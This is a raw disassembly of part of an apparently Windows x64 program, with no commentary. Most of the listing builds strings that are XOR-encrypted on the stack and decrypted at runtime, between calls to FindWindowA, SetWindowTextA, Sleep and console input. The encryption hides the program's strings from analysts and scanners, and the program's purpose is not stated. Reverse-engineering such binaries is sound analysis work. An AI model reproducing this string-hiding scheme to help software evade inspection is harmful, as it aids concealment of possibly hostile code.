ja 0x140072b24
lea rcx, [rsp + 0x6d8]
cmp rax, rcx
jb 0x140072b24
movups xmmword [rbx], xmm0
mov byte [rbx + 0x10], 0x1b
jmp 0x140072b2b
movups xmmword [rbx], xmm0
mov byte [rbx + 0x10], 0x1b
lea rcx, [0x1400afef0]
call fcn.140093de0
nop
jmp 0x140072b3e
lea rbx, [rsi + rdx]
cmp byte [rbx + 0x11], 0
je 0x140072b8b
xor byte [rbx], 0x1b
xor byte [rbx + 1], 0x4d
xor byte [rbx + 2], 0x21
xor byte [rbx + 3], 0x87
xor byte [rbx + 4], 0xf5
xor byte [rbx + 5], 0xdd
xor byte [rbx + 6], 0xa7
xor byte [rbx + 7], 0x61
xor byte [rbx + 8], 0x1b
xor byte [rbx + 9], 0x4d
xor byte [rbx + 0xa], 0x21
xor byte [rbx + 0xb], 0x87
xor byte [rbx + 0xc], 0xf5
xor byte [rbx + 0xd], 0xdd
xor byte [rbx + 0xe], 0xa7
xor byte [rbx + 0xf], 0x61
xor byte [rbx + 0x10], 0x1b
mov byte [rbx + 0x11], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x378], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x388], xmm1
mov r8, rdi
inc r8
cmp byte [rbx + r8], 0
jne 0x140072ba5
mov rdx, rbx
lea rcx, [rsp + 0x378]
call fcn.140009a30
nop
lea rdx, [rsp + 0x378]
mov rcx, r13
call fcn.140006f90
mov rcx, rax
call fcn.14006d700
imul ecx, eax, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
jmp 0x140072d42
mov r15, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movdqa xmm0, xmmword [0x1400b9ac0]
movdqa xmm1, xmmword [0x1400ba680]
mov ecx, 0x4e18
mov eax, dword [rcx + rsi]
mov edx, 0x4ce8
test al, 1
jne 0x140072c5d
or eax, 1
mov dword [rcx + rsi], eax
lea rbx, [rsi + rdx]
mov byte [rbx + 0x20], 1
lea rax, [rbx + 0x1f]
lea rcx, [rsp + 0x81f]
cmp rbx, rcx
ja 0x140072c47
lea rcx, [rsp + 0x800]
cmp rax, rcx
jb 0x140072c47
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
jmp 0x140072c4e
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
lea rcx, [0x1400afeb0]
call fcn.140093de0
nop
jmp 0x140072c61
lea rbx, [rsi + rdx]
cmp byte [rbx + 0x20], 0
je 0x140072cee
xor byte [rbx], 0x51
xor byte [rbx + 1], 0xb
xor byte [rbx + 2], 0x99
xor byte [rbx + 3], 0x85
xor byte [rbx + 4], 0x19
xor byte [rbx + 5], 0xb
xor byte [rbx + 6], 0xf5
xor byte [rbx + 7], 0xeb
xor byte [rbx + 8], 0x51
xor byte [rbx + 9], 0xb
xor byte [rbx + 0xa], 0x99
xor byte [rbx + 0xb], 0x85
xor byte [rbx + 0xc], 0x19
xor byte [rbx + 0xd], 0xb
xor byte [rbx + 0xe], 0xf5
xor byte [rbx + 0xf], 0xeb
xor byte [rbx + 0x10], 0x51
xor byte [rbx + 0x11], 0xb
xor byte [rbx + 0x12], 0x99
xor byte [rbx + 0x13], 0x85
xor byte [rbx + 0x14], 0x19
xor byte [rbx + 0x15], 0xb
xor byte [rbx + 0x16], 0xf5
xor byte [rbx + 0x17], 0xeb
xor byte [rbx + 0x18], 0x51
xor byte [rbx + 0x19], 0xb
xor byte [rbx + 0x1a], 0x99
xor byte [rbx + 0x1b], 0x85
xor byte [rbx + 0x1c], 0x19
xor byte [rbx + 0x1d], 0xb
xor byte [rbx + 0x1e], 0xf5
xor byte [rbx + 0x1f], 0xeb
mov byte [rbx + 0x20], 0
mov rdx, rbx
mov rcx, r15
call fcn.140009130
lea rdx, [0x140009300]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rsp + 0x378], xmm0
movdqa xmm1, xmmword [0x1400b8b70]
movdqu xmmword [rsp + 0x388], xmm1
mov byte [rsp + 0x378], 0
lea rdx, [rsp + 0x378]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140053c00
nop
mov rdx, qword [rsp + 0x390]
cmp rdx, 0x10
jb 0x140072d85
inc rdx
mov rcx, qword [rsp + 0x378]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140072d80
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400736c4
call fcn.140093d04
mov rax, qword [rsp + 0x130]
cmp qword [rax + 0x18], 0x10
jb 0x140072d97
mov rax, qword [rax]
mov rdx, rax
mov ecx, dword [rsp + 0x360]
call fcn.140020870
nop
movdqa xmm0, xmmword [0x1400ba530]
mov dword [rsp + 0x3e8], 0xb329e6cb
mov dword [rsp + 0x3ec], 0xf9511ea5
mov dword [rsp + 0x3f0], 0xe12cf6f8
mov word [rsp + 0x3f4], 0x4ea3
mov ecx, 0x525c
mov eax, dword [rcx + rsi]
mov edx, 0x5338
test al, 1
jne 0x140072e82
or eax, 1
mov dword [rcx + rsi], eax
lea rbx, [rdx + rsi]
mov byte [rbx + 0x1f], 1
lea rax, [rbx + 0x1e]
lea rcx, [rsp + 0x3f6]
cmp rbx, rcx
ja 0x140072e48
lea rcx, [rsp + 0x3d8]
cmp rax, rcx
jb 0x140072e48
movups xmmword [rbx], xmm0
movsd xmm0, qword [rsp + 0x3e8]
movsd qword [rbx + 0x10], xmm0
mov eax, dword [rsp + 0x3f0]
mov dword [rbx + 0x18], eax
movzx eax, word [rsp + 0x3f4]
mov word [rbx + 0x1c], ax
mov byte [rbx + 0x1e], 0x71
jmp 0x140072e73
movups xmmword [rbx], xmm0
movsd xmm0, qword [rsp + 0x3e8]
movsd qword [rbx + 0x10], xmm0
mov eax, dword [rsp + 0x3f0]
mov dword [rbx + 0x18], eax
movzx eax, word [rsp + 0x3f4]
mov word [rbx + 0x1c], ax
mov byte [rbx + 0x1e], 0x71
lea rcx, [0x1400afe80]
call fcn.140093de0
nop
jmp 0x140072e86
lea rbx, [rdx + rsi]
cmp byte [rbx + 0x1f], 0
je 0x140072f0f
xor byte [rbx], 0xbf
xor byte [rbx + 1], 0x83
xor byte [rbx + 2], 0x4d
xor byte [rbx + 3], 0x93
xor byte [rbx + 4], 0xc7
xor byte [rbx + 5], 0x67
xor byte [rbx + 6], 0x71
xor byte [rbx + 7], 0xbf
xor byte [rbx + 8], 0xbf
xor byte [rbx + 9], 0x83
xor byte [rbx + 0xa], 0x4d
xor byte [rbx + 0xb], 0x93
xor byte [rbx + 0xc], 0xc7
xor byte [rbx + 0xd], 0x67
xor byte [rbx + 0xe], 0x71
xor byte [rbx + 0xf], 0xbf
xor byte [rbx + 0x10], 0xbf
xor byte [rbx + 0x11], 0x83
xor byte [rbx + 0x12], 0x4d
xor byte [rbx + 0x13], 0x93
xor byte [rbx + 0x14], 0xc7
xor byte [rbx + 0x15], 0x67
xor byte [rbx + 0x16], 0x71
xor byte [rbx + 0x17], 0xbf
xor byte [rbx + 0x18], 0xbf
xor byte [rbx + 0x19], 0x83
xor byte [rbx + 0x1a], 0x4d
xor byte [rbx + 0x1b], 0x93
xor byte [rbx + 0x1c], 0xc7
xor byte [rbx + 0x1d], 0x67
xor byte [rbx + 0x1e], 0x71
mov byte [rbx + 0x1f], 0
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
mov r15, rax
test rax, rax
je 0x14007308b
movdqa xmm0, xmmword [0x1400b9670]
mov dword [rsp + 0x3c8], 0xf317f8c7
mov dword [rsp + 0x3cc], 0x7987f8c1
mov dword [rsp + 0x3d0], 0xa71af5e0
mov word [rsp + 0x3d4], 0x818a
mov ecx, 0x5114
mov eax, dword [rcx + rsi]
mov edx, 0x5220
test al, 1
jne 0x140072ff9
or eax, 1
mov dword [rcx + rsi], eax
lea rbx, [rsi + rdx]
mov byte [rbx + 0x1e], 1
lea rax, [rbx + 0x1d]
lea rcx, [rsp + 0x3d5]
cmp rbx, rcx
ja 0x140072fc3
lea rcx, [rsp + 0x3b8]
cmp rax, rcx
jb 0x140072fc3
movups xmmword [rbx], xmm0
movsd xmm0, qword [rsp + 0x3c8]
movsd qword [rbx + 0x10], xmm0
mov eax, dword [rsp + 0x3d0]
mov dword [rbx + 0x18], eax
movzx eax, word [rsp + 0x3d4]
mov word [rbx + 0x1c], ax
jmp 0x140072fea
movups xmmword [rbx], xmm0
movsd xmm0, qword [rsp + 0x3c8]
movsd qword [rbx + 0x10], xmm0
mov eax, dword [rsp + 0x3d0]
mov dword [rbx + 0x18], eax
movzx eax, word [rsp + 0x3d4]
mov word [rbx + 0x1c], ax
lea rcx, [0x1400afe50]
call fcn.140093de0
nop
jmp 0x140072ffd
lea rbx, [rsi + rdx]
cmp byte [rbx + 0x1e], 0
je 0x14007307e
xor byte [rbx], 0xb3
xor byte [rbx + 1], 0x9d
xor byte [rbx + 2], 0x73
xor byte [rbx + 3], 0xd3
xor byte [rbx + 4], 0xa3
xor byte [rbx + 5], 0x81
xor byte [rbx + 6], 0xa7
xor byte [rbx + 7], 0x3f
xor byte [rbx + 8], 0xb3
xor byte [rbx + 9], 0x9d
xor byte [rbx + 0xa], 0x73
xor byte [rbx + 0xb], 0xd3
xor byte [rbx + 0xc], 0xa3
xor byte [rbx + 0xd], 0x81
xor byte [rbx + 0xe], 0xa7
xor byte [rbx + 0xf], 0x3f
xor byte [rbx + 0x10], 0xb3
xor byte [rbx + 0x11], 0x9d
xor byte [rbx + 0x12], 0x73
xor byte [rbx + 0x13], 0xd3
xor byte [rbx + 0x14], 0xa3
xor byte [rbx + 0x15], 0x81
xor byte [rbx + 0x16], 0xa7
xor byte [rbx + 0x17], 0x3f
xor byte [rbx + 0x18], 0xb3
xor byte [rbx + 0x19], 0x9d
xor byte [rbx + 0x1a], 0x73
xor byte [rbx + 0x1b], 0xd3
xor byte [rbx + 0x1c], 0xa3
xor byte [rbx + 0x1d], 0x81
mov byte [rbx + 0x1e], 0
mov rdx, rbx
mov rcx, r15
call qword [sym.imp.USER32.dll_SetWindowTextA]
nop
jmp 0x1400730e2
mov r15, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movdqa xmm0, xmmword [0x1400b9020]
movdqa xmm1, xmmword [0x1400b9930]
mov dword [rsp + 0x4f8], 0xac69b1f2
mov dword [rsp + 0x4fc], 0x36650016
mov dword [rsp + 0x500], 0xc534abd2
mov ecx, 0x4ba8
mov eax, dword [rcx + rsi]
mov edx, 0x4d20
test al, 1
jne 0x1400731a6
or eax, 1
mov dword [rcx + rsi], eax
lea rbx, [rsi + rdx]
mov byte [rbx + 0x2c], 1
lea rax, [rbx + 0x2b]
lea rcx, [rsp + 0x503]
cmp rbx, rcx
ja 0x140073178
lea rcx, [rsp + 0x4d8]
cmp rax, rcx
jb 0x140073178
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
movsd xmm0, qword [rsp + 0x4f8]
movsd qword [rbx + 0x20], xmm0
mov eax, dword [rsp + 0x500]
mov dword [rbx + 0x28], eax
jmp 0x140073197
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
movsd xmm0, qword [rsp + 0x4f8]
movsd qword [rbx + 0x20], xmm0
mov eax, dword [rsp + 0x500]
mov dword [rbx + 0x28], eax
lea rcx, [0x1400afe20]
call fcn.140093de0
nop
jmp 0x1400731aa
lea rbx, [rdx + r14]
cmp byte [rbx + 0x2c], 0
je 0x140073267
xor byte [rbx], 0xb3
xor byte [rbx + 1], 0xdf
xor byte [rbx + 2], 0x1d
xor byte [rbx + 3], 0xc5
xor byte [rbx + 4], 0x3b
xor byte [rbx + 5], 0x43
xor byte [rbx + 6], 0xd
xor byte [rbx + 7], 0x53
xor byte [rbx + 8], 0xb3
xor byte [rbx + 9], 0xdf
xor byte [rbx + 0xa], 0x1d
xor byte [rbx + 0xb], 0xc5
xor byte [rbx + 0xc], 0x3b
xor byte [rbx + 0xd], 0x43
xor byte [rbx + 0xe], 0xd
xor byte [rbx + 0xf], 0x53
xor byte [rbx + 0x10], 0xb3
xor byte [rbx + 0x11], 0xdf
xor byte [rbx + 0x12], 0x1d
xor byte [rbx + 0x13], 0xc5
xor byte [rbx + 0x14], 0x3b
xor byte [rbx + 0x15], 0x43
xor byte [rbx + 0x16], 0xd
xor byte [rbx + 0x17], 0x53
xor byte [rbx + 0x18], 0xb3
xor byte [rbx + 0x19], 0xdf
xor byte [rbx + 0x1a], 0x1d
xor byte [rbx + 0x1b], 0xc5
xor byte [rbx + 0x1c], 0x3b
xor byte [rbx + 0x1d], 0x43
xor byte [rbx + 0x1e], 0xd
xor byte [rbx + 0x1f], 0x53
xor byte [rbx + 0x20], 0xb3
xor byte [rbx + 0x21], 0xdf
xor byte [rbx + 0x22], 0x1d
xor byte [rbx + 0x23], 0xc5
xor byte [rbx + 0x24], 0x3b
xor byte [rbx + 0x25], 0x43
xor byte [rbx + 0x26], 0xd
xor byte [rbx + 0x27], 0x53
xor byte [rbx + 0x28], 0xb3
xor byte [rbx + 0x29], 0xdf
xor byte [rbx + 0x2a], 0x1d
xor byte [rbx + 0x2b], 0xc5
mov byte [rbx + 0x2c], 0
mov rdx, rbx
mov rcx, r15
jmp 0x1400733c2
mov rdx, qword [0x1400de8a8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140009130
mov r15, rax
movdqa xmm0, xmmword [0x1400b9d40]
mov dword [rsp + 0x428], 0xec988889
mov dword [rsp + 0x42c], 0xdb82e3ed
mov word [rsp + 0x430], 0xe1cc
mov ecx, 0x5414
mov eax, dword [rcx + rsi]
mov edx, 0x4d58
test al, 1
jne 0x140073338
or eax, 1
mov dword [rcx + rsi], eax
lea rbx, [rsi + rdx]
mov byte [rbx + 0x1a], 1
lea rax, [rbx + 0x19]
lea rcx, [rsp + 0x431]
cmp rbx, rcx
ja 0x14007330c
lea rcx, [rsp + 0x418]
cmp rax, rcx
jb 0x14007330c
movups xmmword [rbx], xmm0
movsd xmm0, qword [rsp + 0x428]
movsd qword [rbx + 0x10], xmm0
movzx eax, word [rsp + 0x430]
mov word [rbx + 0x18], ax
jmp 0x140073329
movups xmmword [rbx], xmm0
movsd xmm0, qword [rsp + 0x428]
movsd qword [rbx + 0x10], xmm0
movzx eax, word [rsp + 0x430]
mov word [rbx + 0x18], ax
lea rcx, [0x1400afdf0]
call fcn.140093de0
nop
jmp 0x14007333c
lea rbx, [rsi + rdx]
cmp byte [rbx + 0x1a], 0
je 0x1400733ad
xor byte [rbx], 0xed
xor byte [rbx + 1], 0xe1
xor byte [rbx + 2], 0xeb
xor byte [rbx + 3], 0x8d
xor byte [rbx + 4], 0x8f
xor byte [rbx + 5], 0x8f
xor byte [rbx + 6], 0xe7
xor byte [rbx + 7], 0xbf
xor byte [rbx + 8], 0xed
xor byte [rbx + 9], 0xe1
xor byte [rbx + 0xa], 0xeb
xor byte [rbx + 0xb], 0x8d
xor byte [rbx + 0xc], 0x8f
xor byte [rbx + 0xd], 0x8f
xor byte [rbx + 0xe], 0xe7
xor byte [rbx + 0xf], 0xbf
xor byte [rbx + 0x10], 0xed
xor byte [rbx + 0x11], 0xe1
xor byte [rbx + 0x12], 0xeb
xor byte [rbx + 0x13], 0x8d
xor byte [rbx + 0x14], 0x8f
xor byte [rbx + 0x15], 0x8f
xor byte [rbx + 0x16], 0xe7
xor byte [rbx + 0x17], 0xbf
xor byte [rbx + 0x18], 0xed
xor byte [rbx + 0x19], 0xe1
mov byte [rbx + 0x1a], 0
mov rdx, rbx
mov rcx, r15
call fcn.140009130
mov rdx, qword [0x1400de8c0]
mov rcx, rax
call fcn.140009130
lea rdx, [0x140009300]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rsp + 0x350]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x358]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [0x1400de8b0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140009130
mov r15, rax
movdqa xmm0, xmmword [0x1400b9840]
movdqa xmm1, xmmword [0x1400b90c0]
mov word [rsp + 0x698], 0x73a3
mov eax, 0x4f8c
mov ecx, dword [rax + rsi]
mov edx, 0x4b68
test cl, 1
jne 0x1400734a0
or ecx, 1
mov dword [rax + rsi], ecx
lea rbx, [rdx + rsi]
mov byte [rbx + 0x23], 1
lea rax, [rbx + 0x22]
lea rcx, [rsp + 0x69a]
cmp rbx, rcx
ja 0x14007347a
lea rcx, [rsp + 0x678]
cmp rax, rcx
jb 0x14007347a
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
movzx eax, word [rsp + 0x698]
mov word [rbx + 0x20], ax
mov byte [rbx + 0x22], 0xbd
jmp 0x140073491
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
movzx eax, word [rsp + 0x698]
mov word [rbx + 0x20], ax
mov byte [rbx + 0x22], 0xbd
lea rcx, [0x1400afdc0]
call fcn.140093de0
nop
jmp 0x1400734a4
lea rbx, [rdx + r14]
cmp byte [rbx + 0x23], 0
je 0x140073539
xor byte [rbx], 0x97
xor byte [rbx + 1], 0x43
xor byte [rbx + 2], 0xbd
xor byte [rbx + 3], 0x3d
xor byte [rbx + 4], 0x77
xor byte [rbx + 5], 0x8d
not byte [rbx + 6]
xor byte [rbx + 7], 7
xor byte [rbx + 8], 0x97
xor byte [rbx + 9], 0x43
xor byte [rbx + 0xa], 0xbd
xor byte [rbx + 0xb], 0x3d
xor byte [rbx + 0xc], 0x77
xor byte [rbx + 0xd], 0x8d
not byte [rbx + 0xe]
xor byte [rbx + 0xf], 7
xor byte [rbx + 0x10], 0x97
xor byte [rbx + 0x11], 0x43
xor byte [rbx + 0x12], 0xbd
xor byte [rbx + 0x13], 0x3d
xor byte [rbx + 0x14], 0x77
xor byte [rbx + 0x15], 0x8d
not byte [rbx + 0x16]
xor byte [rbx + 0x17], 7
xor byte [rbx + 0x18], 0x97
xor byte [rbx + 0x19], 0x43
xor byte [rbx + 0x1a], 0xbd
xor byte [rbx + 0x1b], 0x3d
xor byte [rbx + 0x1c], 0x77
xor byte [rbx + 0x1d], 0x8d
not byte [rbx + 0x1e]
xor byte [rbx + 0x1f], 7
xor byte [rbx + 0x20], 0x97
xor byte [rbx + 0x21], 0x43
xor byte [rbx + 0x22], 0xbd
mov byte [rbx + 0x23], 0
mov rdx, rbx
mov rcx, r15
call fcn.140009130
mov rdx, qword [0x1400de8c0]
mov rcx, rax
call fcn.140009130
lea rdx, [0x140009300]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movdqa xmm0, xmmword [0x1400b93d0]
mov word [rsp + 0x518], 0x773e
mov ecx, 0x502c
mov eax, dword [rcx + rsi]
mov edx, 0x51c0
test al, 1
jne 0x1400735e1
or eax, 1
mov dword [rcx + rsi], eax
lea rbx, [rsi + rdx]
mov byte [rbx + 0x12], 1
lea rax, [rbx + 0x11]
lea rcx, [rsp + 0x519]
cmp rbx, rcx
ja 0x1400735c3
lea rcx, [rsp + 0x508]
cmp rax, rcx
jb 0x1400735c3
movups xmmword [rbx], xmm0
movzx eax, word [rsp + 0x518]
mov word [rbx + 0x10], ax
jmp 0x1400735d2
movups xmmword [rbx], xmm0
movzx eax, word [rsp + 0x518]
mov word [rbx + 0x10], ax
lea rcx, [0x1400afda0]
call fcn.140093de0
nop
jmp 0x1400735e5
lea rbx, [r14 + rdx]
cmp byte [rbx + 0x12], 0
je 0x140073636
xor byte [rbx], 0x5b
xor byte [rbx + 1], 0x77
xor byte [rbx + 2], 0x65
xor byte [rbx + 3], 0xcf
xor byte [rbx + 4], 0x93
xor byte [rbx + 5], 0x4d
xor byte [rbx + 6], 0x8b
xor byte [rbx + 7], 0x29
xor byte [rbx + 8], 0x5b
xor byte [rbx + 9], 0x77
xor byte [rbx + 0xa], 0x65
xor byte [rbx + 0xb], 0xcf
xor byte [rbx + 0xc], 0x93
xor byte [rbx + 0xd], 0x4d
xor byte [rbx + 0xe], 0x8b
xor byte [rbx + 0xf], 0x29
xor byte [rbx + 0x10], 0x5b
xor byte [rbx + 0x11], 0x77
mov byte [rbx + 0x12], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x378], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x388], xmm1
nop dword [rax]
inc rdi
cmp byte [rbx + rdi], 0
jne 0x140073650
mov r8, rdi
mov rdx, rbx
lea rcx, [rsp + 0x378]
call fcn.140009a30
nop
lea rdx, [rsp + 0x378]
mov rcx, r13
call fcn.140006f90
cmp byte [rax], 4
jne 0x1400740ea
movzx ebx, byte [rax + 8]
mov rdx, qword [rsp + 0x390]
cmp rdx, 0x10
jb 0x1400736d0
inc rdx
mov rcx, qword [rsp + 0x378]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400736cb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400736cb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140093d04
test bl, bl
je 0x140073828
mov r14d, 0x4bfc
mov ebx, 0x5268
add rbx, rsi
mov rdi, rbx
nop dword [rax]
movdqa xmm0, xmmword [0x1400b9b50]
movdqa xmm1, xmmword [0x1400b9e50]
mov word [rsp + 0x648], 0xf5e8
mov eax, dword [r14 + rsi]
test al, 1
jne 0x140073773
or eax, 1
mov dword [r14 + rsi], eax
mov byte [rdi + 0x22], 1
lea rax, [rdi + 0x21]
lea rcx, [rsp + 0x649]
cmp rdi, rcx
ja 0x140073750
lea rcx, [rsp + 0x628]
cmp rax, rcx
jb 0x140073750
movups xmmword [rdi], xmm0
movups xmmword [rdi + 0x10], xmm1
movzx eax, word [rsp + 0x648]
mov word [rdi + 0x20], ax
jmp 0x140073763
movups xmmword [rdi], xmm0
movups xmmword [rdi + 0x10], xmm1
movzx eax, word [rsp + 0x648]
mov word [rdi + 0x20], ax
lea rcx, [0x1400afd70]
call fcn.140093de0
nop
mov rbx, rdi
cmp byte [rbx + 0x22], 0
je 0x140073808
xor byte [rbx], 0x8d
xor byte [rbx + 1], 0xf5
xor byte [rbx + 2], 0xbf
xor byte [rbx + 3], 0xef
xor byte [rbx + 4], 0xd9
xor byte [rbx + 5], 0x55
xor byte [rbx + 6], 0x39
xor byte [rbx + 7], 0xdd
xor byte [rbx + 8], 0x8d
xor byte [rbx + 9], 0xf5
xor byte [rbx + 0xa], 0xbf
xor byte [rbx + 0xb], 0xef
xor byte [rbx + 0xc], 0xd9
xor byte [rbx + 0xd], 0x55
xor byte [rbx + 0xe], 0x39
xor byte [rbx + 0xf], 0xdd
xor byte [rbx + 0x10], 0x8d
xor byte [rbx + 0x11], 0xf5
xor byte [rbx + 0x12], 0xbf
xor byte [rbx + 0x13], 0xef
xor byte [rbx + 0x14], 0xd9
xor byte [rbx + 0x15], 0x55
xor byte [rbx + 0x16], 0x39
xor byte [rbx + 0x17], 0xdd
xor byte [rbx + 0x18], 0x8d
xor byte [rbx + 0x19], 0xf5
xor byte [rbx + 0x1a], 0xbf
xor byte [rbx + 0x1b], 0xef
xor byte [rbx + 0x1c], 0xd9
xor byte [rbx + 0x1d], 0x55
xor byte [rbx + 0x1e], 0x39
xor byte [rbx + 0x1f], 0xdd
xor byte [rbx + 0x20], 0x8d
xor byte [rbx + 0x21], 0xf5
mov byte [rbx + 0x22], 0
mov rcx, rbx
call fcn.14001fb90
test al, al
je 0x140073c69
mov ecx, 5
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400736f0
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140073c69
lea rcx, [rsp + 0x4c8]
call fcn.140021a00
nop
lea rax, [rsp + 0x58]
mov qword [rsp + 0x98], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xor eax, eax
mov qword [rsp + 0x60], rax
movzx edx, byte [rsp + 0x58]
lea rcx, [rsp + 0x60]
call fcn.140008580
mov byte [rsp + 0x58], 3
call fcn.14000a300
mov qword [rsp + 0x60], rax
mov rax, qword gs:[0x58]
mov rsi, qword [rax]
mov ecx, 0x4c00
mov eax, dword [rcx + rsi]
mov ebx, 0x4bd0
add rbx, rsi
test al, 1
jne 0x1400738ca
or eax, 1
mov dword [rcx + rsi], eax
mov word [rbx + 9], 0x1e9
mov dword [rbx], 0x909888e2
mov dword [rbx + 4], 0x1368a1fe
mov byte [rbx + 8], 0xed
lea rcx, [0x1400afd50]
call fcn.140093de0
nop
cmp byte [rbx + 0xa], 0
je 0x1400738fb
xor byte [rbx], 0x85
xor byte [rbx + 1], 0xe9
xor byte [rbx + 2], 0xf5
xor byte [rbx + 3], 0xf5
xor byte [rbx + 4], 0xa1
xor byte [rbx + 5], 0xd1
xor byte [rbx + 6], 9
xor byte [rbx + 7], 0x67
xor byte [rbx + 8], 0x85
xor byte [rbx + 9], 0xe9
mov byte [rbx + 0xa], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x378], xmm0
mov qword [rsp + 0x388], r12
mov qword [rsp + 0x390], r12
inc rdi
cmp byte [rbx + rdi], 0
jne 0x140073916
mov r8, rdi
mov rdx, rbx
lea rcx, [rsp + 0x378]
call fcn.140009a30
lea rdx, [rsp + 0x378]
lea rcx, [rsp + 0x4c8]
call fcn.140007060
nop
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0x58]
mov byte [rax], cl
mov byte [rsp + 0x58], dl
mov rcx, qword [rax + 8]
mov rdx, qword [rsp + 0x60]
mov qword [rax + 8], rdx
mov qword [rsp + 0x60], rcx
movzx edx, byte [rsp + 0x58]
lea rcx, [rsp + 0x60]
call fcn.140008580
nop
lea rcx, [rsp + 0x4c8]
call fcn.140020fb0
mov rdx, qword [0x1400de8a8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140009130
mov rdi, rax
movdqa xmm0, xmmword [0x1400ba210]
mov dword [rsp + 0x448], 0xe0538bc
mov dword [rsp + 0x44c], 0xd11f2fc1
mov word [rsp + 0x450], 0x5ddb
mov ecx, 0x5034
mov eax, dword [rcx + rsi]
mov edx, 0x4ef0
test al, 1
jne 0x140073a4b
or eax, 1
mov dword [rcx + rsi], eax
lea rbx, [rdx + rsi]
mov byte [rbx + 0x1a], 1
lea rax, [rbx + 0x19]
lea rcx, [rsp + 0x451]
cmp rbx, rcx
ja 0x140073a1f
lea rcx, [rsp + 0x438]
cmp rax, rcx
jb 0x140073a1f
movups xmmword [rbx], xmm0
movsd xmm0, qword [rsp + 0x448]
movsd qword [rbx + 0x10], xmm0
movzx eax, word [rsp + 0x450]
mov word [rbx + 0x18], ax
jmp 0x140073a3c
movups xmmword [rbx], xmm0
movsd xmm0, qword [rsp + 0x448]
movsd qword [rbx + 0x10], xmm0
movzx eax, word [rsp + 0x450]
mov word [rbx + 0x18], ax
lea rcx, [0x1400afd20]
call fcn.140093de0
nop
jmp 0x140073a4f
lea rbx, [rsi + rdx]
cmp byte [rbx + 0x1a], 0
je 0x140073ac0
xor byte [rbx], 0xd1
xor byte [rbx + 1], 0x5d
xor byte [rbx + 2], 0x75
xor byte [rbx + 3], 0x6f
xor byte [rbx + 4], 0xb5
xor byte [rbx + 5], 0x47
xor byte [rbx + 6], 0x31
xor byte [rbx + 7], 0xdb
xor byte [rbx + 8], 0xd1
xor byte [rbx + 9], 0x5d
xor byte [rbx + 0xa], 0x75
xor byte [rbx + 0xb], 0x6f
xor byte [rbx + 0xc], 0xb5
xor byte [rbx + 0xd], 0x47
xor byte [rbx + 0xe], 0x31
xor byte [rbx + 0xf], 0xdb
xor byte [rbx + 0x10], 0xd1
xor byte [rbx + 0x11], 0x5d
xor byte [rbx + 0x12], 0x75
xor byte [rbx + 0x13], 0x6f
xor byte [rbx + 0x14], 0xb5
xor byte [rbx + 0x15], 0x47
xor byte [rbx + 0x16], 0x31
xor byte [rbx + 0x17], 0xdb
xor byte [rbx + 0x18], 0xd1
xor byte [rbx + 0x19], 0x5d
mov byte [rbx + 0x1a], 0
mov rdx, rbx
mov rcx, rdi
call fcn.140009130
mov rdx, qword [0x1400de8c0]
mov rcx, rax
call fcn.140009130
mov rdi, rax
movdqa xmm0, xmmword [0x1400ba020]
movdqa xmm1, xmmword [0x1400b9f70]
mov dword [rsp + 0x5e0], 0x582938bd
mov dword [rsp + 0x5e4], 0xdb01739b
mov ecx, 0x4b9c
